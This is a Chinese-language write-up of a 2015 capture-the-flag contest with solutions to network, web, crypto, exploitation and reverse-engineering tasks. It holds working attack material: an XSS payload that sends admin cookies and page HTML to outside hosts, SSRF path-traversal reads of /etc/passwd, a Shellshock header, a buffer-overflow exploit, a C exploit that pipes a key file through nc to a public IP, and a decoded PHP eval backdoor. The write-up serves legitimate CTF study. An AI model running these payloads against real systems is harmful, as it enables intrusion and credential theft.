网络协议
第一题
下班后和公司约了妹子去了咖啡厅聊天,女朋友非要我在微博里个发位置信息。
以下为曾经在工作中抓取的地点为“360大厦”Android手机的pcap数据包,内部含有“360大厦”的位置信息
请伪造地点“360大厦”和“iphone 6 plus”手机,发送任意微博内容。
用wireshark打开数据包,我们发现第7305个包是发送微博信息:
我们在其中寻找360 大厦 的信息:
Poiid代表的是位置信息,我们记录下B2094753D56EA0FE419C
我们继续看着个post包中的信息,发现:
C应该表示的是发送客户端的手机类型
继续往下看:
现在可以确定是这个包无疑了,待会伪造的时候需要把content值修改了
最后我们需要修改的地方是:
Ua的值,这个值记录的是设备的型号。所以根据包中的信息,我们最后的数据包应为:
“ua”改为 iPhone7,1__weibo__5.2.8__iphone__os8.3
“poiid”改为 B2094753D56EA0FE419C
“content”改为 苦逼,还在加班ing
“c”改为 iphone
在post包中添加:
ua=iPhone7,1__weibo__5.2.8__iphone__os8.3&poiid=B2094753D56EA0FE419C&c=iphone
最后用burpsuit抓包改包:
得到flag:
flag: 195b8ef7140a6a09aa4e207e20f6304c
第二题
请分析数据包并给出数据包中利用漏洞的CVE编号。(CVE编号即为过关密码,格式:CVE-XXXX-XXXX)
用wireshark打开pcap包,找到http返回的数据包:
我们对其中js代码进行去混淆:
用bwvbprt+cve作为关键字在google上搜索能得到正确的CVE编号:
最后的flag为:CVE-2008-2992
第三题
某时发现全国大面积网络中断故障,从运营商流量中抓到了大量同源样本。请分析出攻击最严重的服务器。
我们用wireshark打开pcap包,发现都是DNS查询的数据包,查询的域名都是*. arkhamnetwork.org,这个原型其实是14年的DNS DDoS事件:http://www.cww.net.cn/tech/html/2014/12/12/201412121010478633.htm
“向DNS的递归节点发起随机域名Flood,由于二级域名随机,且在递归服务器的缓存中并不存在,递归服务器需要不断的迭代去查询最终的结果,从而能进一步加剧了递归服务器的负载,造成服务器性能耗尽。”
所以我们需要找到*. arkhamnetwork.org 的递归服务器即可,找出被访问次数最多的即被攻击最严重的。
我们找到递归服务器 lara.ns.cloudflare.com 提交,获得flag:
第四题
用wireshark我们能够发现udId就是要找的移动设备国际身份码,题目要求找到相同虚拟身份的移动设备国际身份码,那么应该是不同的账号、身份码对应同一个密码,我们在linux下面使用:
在其中我们发现:
353627055435880 和352315050191630 密码相同,都是a200847,最后正确的flag是:
353627055435880
第五题
输入一串字符串(字符串即为通关密码),要求输出与之相对应的起止式异步串口通信协议的二进制字符流如文本框提示内容。
说明:
* 起始位电平为0,长度为1。
* 字符由标准七位ascii码来表示,数据低位在前高位在后。
* 校验位为奇校验或偶校验,默认为奇校验。
* 停止位电平为1,长度为1或2,默认为1。
00100001100011011010001001100001010001000001000110000101100001110110000111011000010011101000010001100110011010001000011001100001000101000100010011101000110110100110011010000101100000100001100101000100011101100000010001100011000100011000010000000110100100111010001101101001010001000101011010000101100001110110000110000100
类似RS232,每10位一组,下标从0开始,第1-7位是ASCII,第8位是校验位,第9位是结束位,用python处理一下就能得到flag:
__author__
=
"F4nt45i4-ZHG"
import
struct
for
i
in
range
(
1
,
9
):
with
open
(
'b'
+
str
(i)
+
'.txt'
,
'wb'
) as w:
with
open
(
'b.txt'
,
'r'
) as r:
for
l
in
r.readlines():
t
=
0
a
=
1
for
j
in
range
(
1
,
9
):
if
j !
=
i:
if
l[j]
=
=
'1'
:
t
+
=
a
a <<
=
1
print
(t)
w.write(struct.pack(
'1B'
, t))
其中b.txt中需要每10位一行,最后得到flag:
B62ED4779D3BCE9634BE7DFC096E547C
WEB
第一题
给了一个图片,我们用StegSolve打开,在文件的结尾发现:
Where is the key?{ZW1lbS4uLiAvY3RmXzM2MF9mbGFn}.
Base64解密得到:
emem… /ctf_360_flag
然后再结合图片上是个苹果,MAC的每个目录下都有.DS_Store的目录
于是构造url http://isg.campus.360.cn/web1/ctf_360_flag/.DS_Store
访问可得到flag:
第二题
提示:请找回admin@360.cn的密码
提示是程序员的坏习惯,可以找到check.php.swp文件,发现泄露的后端处理代码:
<?php
/***
此处为提示
$code=0000000000;
admin code 0
user code 1
test code 2
***/
len_check(
$_GET
[
'code'
],10)
if
(!
empty
(
$_GET
[
'email'
]) && !
empty
(
$_GET
[
'code'
]))
{
if
(!
$db
->
count
(
'admin'
,
"email='{$_GET['email']}' AND code='{$_GET['code']}'"
))
die
(
'error'
);
$_SESSION
[
'email'
]=
$_GET
[
'email'
];
..........
}
?>
用户点击获取验证码后,放到repeater里查看返回,发现是个1234567890987654321的19位数字,如果根据这个验证码并修改email为admin@360.cn
是获取不到任何信息的。根据上面代码的设计缺陷(code在mysql里是int型,在被带入查询时会被强制整形转换),攻击者可以伪造一个验证码000000000a,
即可达到select count(*) from admin where email=’admin@360.cn’ and code=’0’与select count(*) from admin where email=’admin@360.cn’ and code=’0′
相同的true返回,即可绕过后端处理的限制,获取到key。
第三题
我们用StegoSolve打开发现文件结尾有字符串:
–. .. ..-. —.. —-. .- ;
<..–.. .–. …. .–. $.- = “—– .-.-.- .—- “;$-… = $_–. . – [.—-. -… .—-. ];.. ..-. ($-… -.-.– = .—-. .—-. ){ .. ..-. (.. … _.- .-. .-. .- -.– ($-… )){ . -.-. …. — “-. — -.- . -.– -.-.– “; . -..- .. – ; }. .-.. … . .. ..-. (-.-.– .. … _-. ..- — . .-. .. -.-. ($-… )){ $-.-. = (.. -. – )(($.- + $-… ) * .—- —– ); .. ..-. ($-.-. == “—.. ” && $-… [.—- —– ] == ..-. .- .-.. … . ){ . -.-. …. — “..-. .-.. .- –. “; }. .-.. … . { . -.-. …. — “-. — -.- . -.– -.-.– “; . -..- .. – ; } }. .-.. … . { . -.-. …. — “-. — -.- . -.– -.-.– “; }}. .-.. … . { . -.-. …. — “-. — -.- . -.– -.-.– “;}..–.. >
提取出来,首先用莫尔斯码进行解密,得到:
GIF89a;
<?php
$a
=
"0.1"
;
$b
=
$_GET
[
'b'
];
if
(
$b
! =
''
)
{
if
(
is_array
(
$b
))
{
echo
"nokey!"
;
exit
;
}
else
if
(!
is_numeric
(
$b
))
{
$c
= (int)((
$a
+
$b
) * 10 );
if
(
$c
==
"8"
&&
$b
[10 ] == false )
{
echo
"flag "
;
}
else
{
echo
"nokey "
;
exit
;
}
}
else
{
echo
"nokey "
;}
}
else
{
echo
"no "
;}
?>
根据代码要求,输入querystring的b不能完全是数字,第11位为0,且和0.1相加再乘10取整后为8,构造b=0.71000000000000c
以get方式提交,获得flag:
第四题
访问链接,给了一张图片,我们用StegSolve打开,不出意外的在结尾发现了神秘字符:
给了一个内网的地址,那么这题的考点应该是ssrf了。我们构造一下地址进行访问:
/web4?keyword=http://10.0.1.254/read?f=../../../../../../../../../../etc/passwd
可以看到能够读取,我们看到最后有nginx,我们访问一下nginx的配置文件:
/web4?keyword=http://10.0.1.254/read?f=../../../../../../etc/nginx/nginx.conf
可以看到:location = /secret/flag
这个地方结合脑洞加上脑洞加上脑洞构造网址:
/web4?keyword=http://10.0.1.254/read?f=../../../../../../X-Accel-Redirect:/ctf/360
访问,成功获得flag(不要问我脑洞是什么,我也不知道,你们找出题人去吧)
(小编:出题人长这样,大家千万别打错。长得这么帅,大家可以考虑要不要打他的脸)
第五题
这题考察的是xss,首先利用后台会记录登陆记录进行盲打,插入
1
|
< script src=”你的js的位置”></ script > |
会收到管理员的cookies:
1
2
3
4
5
6
7
|
location : http://106.120.166.134/web5/admin toplocation : http://106.120.166.134/web5/admin cookie : PHPSESSID=ihh8f7hmb3a2ke1ab3g4kjacr6; BEEFHOOK=FpVUxuRn7MfVX3ZfGjB9n738QfOqnLqB05pFhBAfbCN8y0jPlcQQwHk91NF3sKUwjASXZCIXMxXfSt4p opener : HTTP_REFERER : http://106.120.166.134/web5/admin HTTP_USER_AGENT : Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 REMOTE_ADDR : 218.30.116.4 |
访问后台:
后台做了限制,那么我们只能通过获取页面源码进行下一步了:
<
head
>
<
meta
http-equiv
=
"Content-Type"
content
=
"text/html; charset=utf-8"
>
<
title
>GeekGame2015%u9884%u9009%u8D5B%u9898%u76EE</
title
>
<
meta
name
=
"viewport"
content
=
"width=device-width, initial-scale=1.0"
>
<
link
rel
=
"stylesheet"
type
=
"text/css"
href
=
"/css/bootstrap.min.css"
>
<
link
rel
=
"stylesheet"
type
=
"text/css"
href
=
"/css/main.css"
>
<
script
type
=
"text/javascript"
src
=
"/js/jquery.min.js"
></
script
>
</
head
>
<
body
>
<
div
class
=
"container"
>
<
div
class
=
"question-container"
>
<
div
class
=
"panel panel-default"
>
<
div
class
=
"panel-body"
><
script
>
window.alert = function(str) {
return;
}
window.prompt = function(str) {
return;
}
window.confirm = function(str) {
return;
}
function refresh() {
window.location.reload();
}
setTimeout('refresh()',2000);
</
script
>
<
div
class
=
"alert alert-info"
>%u7BA1%u7406%u540E%u53F0</
div
>
<
div
class
=
"register-container"
>
<
form
action
=
"/web5/adduser"
method
=
"post"
>
<
div
class
=
"form-group"
>
<
label
for
=
"inputName"
>%u5E10%u53F7%uFF1A</
label
>
<
input
class
=
"form-control"
name
=
"name"
placeholder
=
"%u5E10%u53F7"
id
=
"name"
autofocus
=
""
type
=
"text"
>
</
div
>
<
div
class
=
"form-group"
>
<
label
for
=
"inputPass"
>%u5BC6%u7801%uFF1A</
label
>
<
input
class
=
"form-control"
name
=
"pass"
placeholder
=
"%u5BC6%u7801"
id
=
"pass"
type
=
"password"
>
</
div
>
<
button
class
=
"btn btn-lg btn-primary btn-block"
type
=
"submit"
>%u6DFB%u52A0%u7528%u6237</
button
>
</
form
>
</
div
>
<
hr
>
<
div
class
=
"alert alert-info"
>%u767B%u5F55%u65E5%u5FD7</
div
>
从上面的页面源码我们可以看出有个添加用户的功能,那么我们利用xss+csrf添加一个账号,然后用这个账号登陆,用ajax写一个添加用户的功能:
(function(){(new Image()).src='http://xssan.com/index.php?do=api&id=DPsDMk&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='http://xssan.com/index.php?do=keepsession&id=DPsDMk&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
var pkav={
ajax:function(){
var xmlHttp;
try{
xmlHttp=new XMLHttpRequest();
}catch (e){
try{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}catch (e){
try{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){
return false;
}
}
}
return xmlHttp;
},
req:function(url,data,method,callback){
method=(method||"").toUpperCase();
method=method||"GET";
data=data||"";
if(url){
var a=this.ajax();
a.open(method,url,true);
if(method=="POST"){
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
}
a.onreadystatechange=function(){
if (a.readyState==4 && a.status==200)
{
if(callback){
callback(a.responseText);
}
}
};
if((typeof data)=="object"){
var arr=[];
for(var i in data){
arr.push(i+"="+encodeURIComponent(data[i]));
}
a.send(arr.join("&"));
}else{
a.send(data||null);
}
}
},
get:function(url,callback){
this.req(url,"","GET",callback);
},
post:function(url,data,callback){
this.req(url,data,"POST",callback);
}
};
if(!window.__x){
pkav.post("http://blacktech.sinaapp.com/test.php","usr=233333&psw="+escape(document.getElementsByTagName('html')[0].innerHTML),function(rs){});
pkav.post("http://106.120.166.137/web5/adduser","name=username&pass=password",function(rs){});
window.__x=1;
}
用username和password返回首页进行登陆,登陆后成功获得flag:
加密解密
第一题
BHUK,LP TGBNHGYT BHUK,LP UYGBN TGBNHGYT BHUK,LP BHUK,LP TGBNHGYT BHUK,LP TGBNHGYT UYGBN
提示:和键盘有关
首先按照空格将整个字符串进行分割:
BHUK,LP
BHUK,LP
TGBNHGYT
BHUK,LP
UYGBN
TGBNHGYT
BHUK,LP
BHUK,LP
TGBNHGYT
BHUK,LP
TGBNHGYT
可以看出来一共有三类:
BHUK,LP
UYGBN
TGBNHGYT
我们在QWERTY键盘上将上面的字符用线画出来:
可以看出:
BHUK,LP :N
UYGBN :C
TGBNHGYT : B
那么,我们将原来的字符串进行解码一下,就得到了flag:
NNBNCBNNBNBC
第二题
小明在服务器上发现了一个奇怪的php文件,初步断定为黑客留下的一句话后门,请分析php文件,找出一句话后门的密码。(密码即为Flag)
解法一:
下载一个shell.php的文件,打开:
<?php
eval
(gzinflate(
base64_decode
(
"pZLdSsNAEIXvBd+hTmOzMXTbFC3UGhtFEANWlLZES5OgvauoIFho2jy7s7PJhMSIF5Kbb2fPzs+Z7O8ZiYAmhLAFS9bQzhUQIboUPECKiUQDMSFMkYZIZt+U5nFkYijB0Kh0KfCcp+5wlh+6YaO2H9VFbW2BNK8U2iJJoiOk9Pek4q/ZBTwG481T4HeD3mC9vH79en67fb+fjScPM38aOMvL6erEn6xePm+uLj7u1i669I9qAucL4ZSDesQWC9WwHlGxkZRpwW9t1ikrDCRwAE87dtvm7EphlRQd3taC6AwpIjJ4A4XFkhcQ81uhbZcw6EN20a67mHPHxX8Qc+YQP7vyvxQJIHNBa9usUBMcck5d1kNqEVmZl9CDkmNNnsLIFV3IKnsVRT4OOCQJdRNq76Pzbw=="
)));
?>
由代码可以看出是base64+gzinflate加密,我们把eval替换成echo,就可以看到加密前的代码:
${(
"#"
^
"|"
).(
"#"
^
"|"
).(
"#"
^
"|"
)}=(
"_"
^
"="
).(
"!"
^
"`"
).(
"( "
^
"{"
).(
"~"
^
";"
).
'6'
.
'4_'
.(
"{"
^
"?"
).(
"~"
^
";"
).(
"?"
^
"|"
).(
"/"
^
"`"
).(
"{"
^
"?"
).(
"~"
^
";"
); ${(
"#"
^
"|"
).(
"#"
^
"|"
)}=(
"!"
^
"`"
).(
"( "
^
"{"
).(
"("
^
"["
).(
"~"
^
";"
).(
"|"
^
"."
).(
"*"
^
"~"
); ${(
"#"
^
"|"
).(
"#"
^
"|"
)}(${(
"#"
^
"|"
).(
"#"
^
"|"
).(
"#"
^
"|"
)}(
"YXNzZXJ0X29wdGlvbnMoQVNTRVJUX1dBUk5JTkcsIDApOw=="
)); ${(
"#"
^
"|"
).(
"#"
^
"|"
)}(${(
"#"
^
"|"
).(
"#"
^
"|"
).(
"#"
^
"|"
)}((
"`"
^
":"
).(
"#"
^
"{"
).(
"&"
^
"|"
).(
"("
^
"@"
).(
"_"
^
"="
).(
"~"
^
"="
).(
"]"
^
":"
).(
"+"
^
"@"
).(
"|"
^
"$"
).
"1"
.(
"}"
^
"?"
).(
"+"
^
"{"
).(
"|"
^
")"
).
"1"
.(
"}"
^
"/"
).(
"?"
^
"]"
).(
"<"
^
"_"
).(
"$"
^
"`"
).(
"|"
^
"."
).(
"."
^
"["
).(
"`"
^
"/"
).(
"("
^
"~"
).
"96"
.(
"`"
^
"-"
).(
"("
^
"~"
).
"96"
.(
"["
^
":"
).(
"{"
^
"?"
).(
"`"
^
"."
).(
"^"
^
"+"
).(
"/"
^
"`"
).(
"("
^
"~"
).
"9"
.(
"_"
^
"."
).(
"-"
^
"`"
).(
"}"
^
"%"
).(
"{"
^
"-"
).(
"@"
^
"&"
).(
")"
^
"|"
).
"2"
.(
"]"
^
":"
).(
"#"
^
"["
).(
"$"
^
"|"
).
"0"
.(
"/"
^
"@"
).(
"#"
^
"["
).(
"`"
^
"-"
).
"10"
.(
"^"
^
"."
)));
中间一段我们用base64解密得到:
assert_options(ASSERT_WARNING, 0);
这句话的作用是让assert不会发出警告,直接去除这段代码运行的话,会直接爆出一句话木马的密码:
解法二:
我们可以把最后一段echo输出:
echo
((
"`"
^
":"
).(
"#"
^
"{"
).(
"&"
^
"|"
).(
"("
^
"@"
).(
"_"
^
"="
).(
"~"
^
"="
).(
"]"
^
":"
).("
+
"^"
@
").("
|
"^"
$
")."
1
".("
}
"^"
?
").("
+
"^"
{
").("
|
"^"
)
")."
1
".("
}
"^"
/
").("
?
"^"
]
").("
<
"^"
_
").("
$
"^"
`
").("
|
"^"
.
").("
.
"^"
[
").("
`
"^"
/
").("
(
"^"
~
")."
96
".("
`
"^"
-
").("
(
"^"
~").
"96"
.(
"["
^
":"
).(
"{"
^
"?"
).(
"`"
^
"."
).(
"^"
^
"+"
).(
"/"
^
"`"
).(
"("
^
"~"
).
"9"
.(
"_"
^
"."
).("
-
"^"
`
").("
}
"^"
%
").("
{
"^"
-
").("
@
"^"
&
").("
)
"^"
|
")."
2
".("
]
"^"
:
").("
#"^"[").("$"^"
|
")."
0
".("
/
"^"
@
").("
#"^"[").("`"^"-")."10".("^"^"."));
输出之后是:
ZXZhbCgkX1BPU1RbcDRuOV96MV96aDNuOV9qMXVfU2gxX0oxM10p
Base64解密得到:
eval($_POST[p4n9_z1_zh3n9_j1u_Sh1_J13])
flag就是:
p4n9_z1_zh3n9_j1u_Sh1_J13
第三题
NTU2NJC3ODHHYWJIZ3P4ZWY=
根据最后的等号判断应该是base64加密,但是直接解密有非可见字符,于是我们修改字符的大小写,使得最后输出为可见字符:
__author__
=
"F4nt45i4-ZHG"
"
import
base64
s
=
'NTU2NJC3ODHHYWJIZ3P4ZWY='
def
dfs(d, t):
global
s
if
d
=
=
len
(s):
print
(base64.b64decode(t))
else
:
dfs(d
+
1
, t
+
s[d])
if
'A'
<
=
s[d] <
=
'Z'
:
dfs(d
+
1
, t
+
chr
(
ord
(s[d])
-
ord
(
'A'
)
+
ord
(
'a'
)))
dfs(
0
, '')
a
=
a
+
1
解码后应不包含不可打印字符,于是加个过滤:
with
open
(
'out.txt'
,
'r'
) as reader:
for
l
in
reader.readlines():
if
'\\x'
not
in
l:
print
(l)
最终会有8个符合的字符串,提交后得到正确的flag:
55667788aabbgzxef
第四题
下载地址:http://yunpan.cn/cV2ZM7WCX7hRs,密码:d1a3
下载一个img镜像文件,我们用DiskGenius进行加载,然后使用恢复文件功能对其进行恢复:
发现有两个zip文件,解压后是同样的文件data_encrypted:
有点像是aes加密,如果需要解密的话我们还要找到aes key,使用aeskeyfind命令:
一共找到了两个key,分别对data_encrypted文件进行解密,发现第一个是正确的key:
Flag是:
flag{245d734b559c6b084b7ecb40596055243e8afdd2}
第五题
下载之后用StegSolve和pngcheck没有看出来什么异常,IDAT的数据用zlib压缩过了,我们把IDAT的数据提取出来再用zlib解压:
__author__
=
"F4nt45i4-ZHG"
from
zlib
import
*
t
=
open
(
'yeeeeeeeeeeeeees.png'
,
'rb'
).read()[
0xC57
:
-
12
]
i
=
0
data
=
b''
while
True
:
if
i >
=
len
(t):
break
l
=
(
ord
(t[i]) <<
24
)
+
(
ord
(t[i
+
1
]) <<
16
)
+
(
ord
(t[i
+
2
]) <<
8
)
+
ord
(t[i
+
3
])
i
+
=
4
print
(t[i:i
+
4
])
i
+
=
4
data
+
=
t[i:i
+
l]
i
+
=
l
i
+
=
4
with
open
(
'160zlibd.txt'
,
'wb'
) as f:
f.write(decompress(data))
运行之后在最后的地方发现了两段base64的字符串:
我们写个程序,将base64解码:
__author__=”F4nt45i4-ZHG”
import base64
s = ‘第一段base64’
with open(‘s1.txt’, ‘wb’) as f:
f.write(base64.b64decode(s))
s = ‘第二段base64’
with open(‘s2.txt’, ‘wb’) as f:
f.write(base64.b64decode(s))
用winhex打开解密后的文件:
像是96×96方程组的矩阵和对应的长度96数组,写个程序解下这个方程组:
__author__
=
"F4nt45i4-ZHG"
import
numpy
A
=
[]
with
open
(
's2.txt'
,
'rb'
) as reader:
data
=
reader.read()
for
i
in
range
(
96
):
A.append([])
for
j
in
range
(
96
):
part
=
data[:
4
]
data
=
data[
4
:]
num
=
ord
(part[
0
])
+
(
ord
(part[
1
])<<
8
)
+
(
ord
(part[
2
])<<
16
)
+
(
ord
(part[
3
])<<
24
)
A[i].append(num)
A
=
numpy.array(A)
b
=
[]
with
open
(
's1.txt'
,
'rb'
) as reader:
data
=
reader.read()
for
i
in
range
(
96
):
part
=
data[:
4
]
data
=
data[
4
:]
num
=
ord
(part[
0
])
+
(
ord
(part[
1
])<<
8
)
+
(
ord
(part[
2
])<<
16
)
+
(
ord
(part[
3
])<<
24
)
b.append(num)
b
=
numpy.array(b)
x
=
numpy.linalg.solve(A, b)
s
=
''.join(
map
(
lambda
x:
chr
(
int
(
round
(x))), x))
print
(s)
最后输出的结果是
Octave is alsome to solve linear algebra.
flag{fun_w1th_9nG_7rIck_4nd_l1n34i_aLg3Br4}
have fun.
那么flag就是:
flag{fun_w1th_9nG_7rIck_4nd_l1n34i_aLg3Br4}
系统安全
第一题
程序存在溢出漏洞,请发送数据包利用该漏洞读取360_ctf_flag_file文件,数据包内容即为本题答案,以十六进制方式输入,如\x00\x01…
下载文件后,用IDA打开,F5一下,很快定位到parse_packet函数:
程序仅仅对type_value=2 做了长度限制,所以在community_name 处存在栈溢出,构造poc可以控制rip,在ida的函数里可以看到一个read_flag_file函数,需要控制rip跳转到该处读取flag:
import
socket
import
struct
result
=
r""
data
=
"301f0201020438"
data
=
data.decode(
"hex"
)
data
+
=
24
*
"A"
data
+
=
struct.pack(
"<Q"
,
0x0000000000400824
)
data
=
data.ljust(
0x40
,
"$"
)
data_encode
=
data.encode(
"hex"
)
for
x
in
range
(
0
,
len
(data_encode),
2
):
result
+
=
r
"\x"
+
data_encode[x:x
+
2
]
s
=
socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(
eval
(
'"' + result +'"'
), (
"127.0.0.1"
,
161
))
print
"Copy this payload: "
, result
最后的shellcode:
\x30\x1f\x02\x01\x02\x04\x38\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x24\x08\x40\x00\x00\x00\x00\x00\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24\x24
提交获得flag:
第二题
小明发现当前网站存在Shellshock漏洞,他使用“curl -H ‘User-Agent: …’”这种方式进行读取/etc/passwd
我们修改User-Agent为:
() {:;}; /bin/cat /etc/passwd
然后访问页面,得到flag:
第三题
这是一道Android app逆向分析的题目。
选手需要安装 ctf.apk 到模拟器或手机中运行。
通过静态逆向或者动态分析app的方式来获取 secret 的值。
将获得的secret值填入输入框后,点击Pwn按钮
如果正确会提示“Pwned!”
选手最终需要将获取到的secret值提交到系统,由系统判断获取的secret是否正确。
安卓题,gdb单步跟到字符串对比的地方就行了。
=> 0x75020c84: push {r4, lr}
0x75020c88: mov r4, r0
0x75020c8c: bl 0x75020bf4
0x75020c90: cmp r0, #5
0x75020c94: beq 0x75020ca0
0x75020c98: mov r0, #0
0x75020c9c: pop {r4, pc}
0x75020ca0: ldrb r3, [r4]
0x75020ca4: cmp r3, #102 ; 0x66
0x75020ca8: bne 0x75020c98
0x75020cac: ldrb r3, [r4, #1]
0x75020cb0: cmp r3, #97 ; 0x61
0x75020cb4: bne 0x75020c98
0x75020cb8: ldrb r3, [r4, #2]
0x75020cbc: cmp r3, #105 ; 0x69
0x75020cc0: bne 0x75020c98
0x75020cc4: ldrb r3, [r4, #3]
0x75020cc8: cmp r3, #116 ; 0x74
0x75020ccc: bne 0x75020c98
0x75020cd0: ldrb r0, [r4, #4]
0x75020cd4: subs r3, r0, #104 ; 0x68
0x75020cd8: rsbs r0, r3, #0
0x75020cdc: adcs r0, r0, r3
0x75020ce0: pop {r4, pc}
第四题
常规解法:
用户态程序分析破解
提示:
1)目标:获取/tmp/shopkey的key值,该值即为通过密码。
2)系统有一个server /home/wangyanfeng/shopinfo/shopinfo. 它与/tmp/shopkey文件有相同的owner和group
服务器地址: 54.223.159.33
帐号:ctf
密码:ctf2015ctf
分析程序,发现是个栈溢出。
但是如果此处栈溢出了,那么在getnum 中很容易崩溃。因为s 缓冲区位于局部变量的
较低位置,s 溢出会覆盖其它局部变量,造成崩溃。
分析发现s 溢出覆盖的局部变量第一个为v4,只要保证覆盖v4 后将v4 修改为一个较小
值,getnum 就不会崩溃。
之后程序运行到返回地址,因为程序导入了system,所以直接构造一个system。不过
由于程序为将fd 重定向到标准输入、标准输出。而且fd 的值是不固定的。最后选择执行
“cat /tmp/shopkey | nc ip port”的方式将flag 反弹到一台公网主机上。
完整的利用代码如下:
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int
main()
{
/* create a socket */
int
sockfd = socket(AF_UNIX, SOCK_STREAM, 0);
struct
sockaddr_un address;
address.sun_family = AF_UNIX;
strcpy
(address.sun_path,
"/home/wangyanfeng/shopinfo/si-socket"
);
/* connect to the server */
int
result = connect(sockfd, (
struct
sockaddr *)&address,
sizeof
(address));
if
(result == -1)
{
perror
(
"connect failed: "
);
exit
(1);
}
write(sockfd,
"\x6f\x00\x00\x00"
, 4);
char
data[] =
"aaaaaaaaaaaaaaaaaaacat /tmp/shopkey | nc 198.11.177.100 1234;aaaaaaaaaaaaaaaaaaaaabbbbccccdddd"
;
data[16] = 1;
data[80]=0x70;
data[81]=0x86;
data[82]=0x04;
data[83]=0x08;
data[88]=0xb3;
data[89]=0xb0;
data[90]=0x04;
data[91]=0x08;
write(sockfd, data, 92);
/* exchange data */
while
(1)
{
char
command[100];
char
ch[1024];
gets
(command);
command[
strlen
(command)]=10;
printf
(
"%s\n"
, command);
write(sockfd, command,
strlen
(command)+1);
read(sockfd, ch, 1024);
printf
(
"%s\n"
, ch);
}
/* close the socket */
close(sockfd);
return
0;
}
特殊解法:
我们看下服务器内核:
Linux ip-172-31-4-186 3.13.0-39-generic #66-Ubuntu SMP Tue Oct 28 13:31:23 UTC 2014 i686 i686 i686 GNU/Linux
Ubuntu 2014目测可以提权:直接上exp:https://www.exploit-db.com/exploits/36746/
直接获得flag
第五题
内核驱动提权
提示:
root用户有/dev/memdev0~3三个字符设备,用来从用户分配好的内存中存取用户数据。这些设备为root所有,root账户下保存着这个设备的key。
服务器地址: 54.223.136.6
帐号:ctf
密码:ctf2015ctf
逆向
第一题
给了一个32 位的有问题的驱动。
很快定位到问题:
修补如下:
这里修补还有2 个坑点:
1. 驱动加载是会算校验和的,所以需要用loadpe 修改。(这点刚好知道)
2. 这儿修补时,还需要修改此处代码对应的重定位表。
分析unload 函数,发现需要p 不为0.
寻找对p 赋值的地方:在IRG_MJ_CREATE 的分派函数中。此外还需要满足请求进程的
pid==360(这点很难办到,看了下对程序后面逻辑没有影响,直接patch 修改)。
另外,写了个代码触发执行IRG_MJ_CREATE:
#include <windows.h>
#include <stdio.h>
#define PAGE_SIZE 0x1000
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003
#define KERNEL_NAME_LENGTH 0x0D
//main 函数
int
main()
{
HANDLE
DeviceHandle=NULL;
ULONG
ReturnLength = 0;
PVOID
MappedBase=NULL;
ULONG
DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
ULONG
ShellCodeSize = PAGE_SIZE;
char
DeviceName[] =
"\\\\.\\360Dst"
;
HANDLE
handle = CreateFile(DeviceName, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if
(handle == INVALID_HANDLE_VALUE)
{
printf
(
"CreateFile error:%d\n"
, GetLastError());
}
else
{
printf
(
"CreateFile succ\n"
);
}
return
0;
}
接下来在unload 的对应函数返回处下断,查看那几块内存,成功获取flag
第二题
需要成功运行HTTPServer,通过分析HTTPServer或者其他方式获得Key。
这是一个exe打包的python程序,可以按照http://bbs.pediy.com/showthread.php?t=111428中的方法提取出了bytecode并转换成了pyc文件,再用pycdc将pyc反编译得到python的源码,也可以unpy2exe,解压得到两个pyc。pyREtic反编译
代码过长,这里就不贴了
读 代码,发现首先判断httpheader里是否存在Range,用其中的一个数字调用了HelloWorld.dll中的函数,然后用返回值替换掉key 中的*,然后用作key使用aes解密。反编译dll,函数HelloWorld只返回三种值,全部尝试一次,得到key:
try
:
if
'Range'
in self.headers:
(s, e) = self.headers[
'Range'
].strip().split(
'-'
, 1)
print
"Got 'Range': "
, s,
' to '
, e,
'...\n'
import ctypes as ctypes
lib = ctypes.CDLL(
'Helloworld.dll'
)
r = lib.HelloWorld(
int
(e) & 0xFFFFFFFFL)
rkey = base64.b64decode(key).replace(
'*'
, str(r))
aes = pyaes.AESModeOfOperationCTR(rkey)
decrypted = aes.decrypt(base64.b64decode(ciphertext))
print
'key is '
+ decrypted
else
:
print
'key is dHJ5IGFnYWluIQ=='
except:
print
'key is ZXJyb3I='
第三题
CrackMe。用户名请使用CTF比赛平台注册的用户名。
下载后发现是VC8的程序,无壳无花,直接用xspy定位按钮响应函数:
直接扔到OD,下个断点向下跟:
单步走一走,是用户名和密码的读入,然后看看都做了什么操作:
第一个关键函数和跳转,貌似会检查你的用户名和下载的用户名知否一致?不一致就会挂,这里一致的话直接过掉。然后看到一串奇怪的base64:
eax=00195EE0, (ASCII “5CjV18S5la+Q/rIrXkhMRQ==”)
ebx=D2993F27
继续往下找比较的地方(跳过很多求长度的循环):
这里可以很容易看出是一个字符串的拼接,把输入的密码按照奇数和偶数位拆开,然后做拼接,继续前进……
看到了关键的比较函数,push了两个参数,一个是变换了之后的密码,还有一串乱七八糟的16进制,F7跟进去看看:
断点下到这里,一目了然。直接把变换后的密码和那串数字比较:
3 5436a56313853356c612b512f724972586b684d52513d3d
所以写个脚本,把变换之前的密码求出来,即拆成两半,然后插入……
最后的flag:(每人的flag不同)
325f473264a957623518368b5638345d65c2651123bd531d
解法二:
http://blogs.360.cn/blog/cve_2015_6135_http_rce_analysis/
根绝Server输出的Range信息可以获得关键点
通过触发Range的整数溢出来获得key
第四题:
分析提供的PDF文件
解法一:
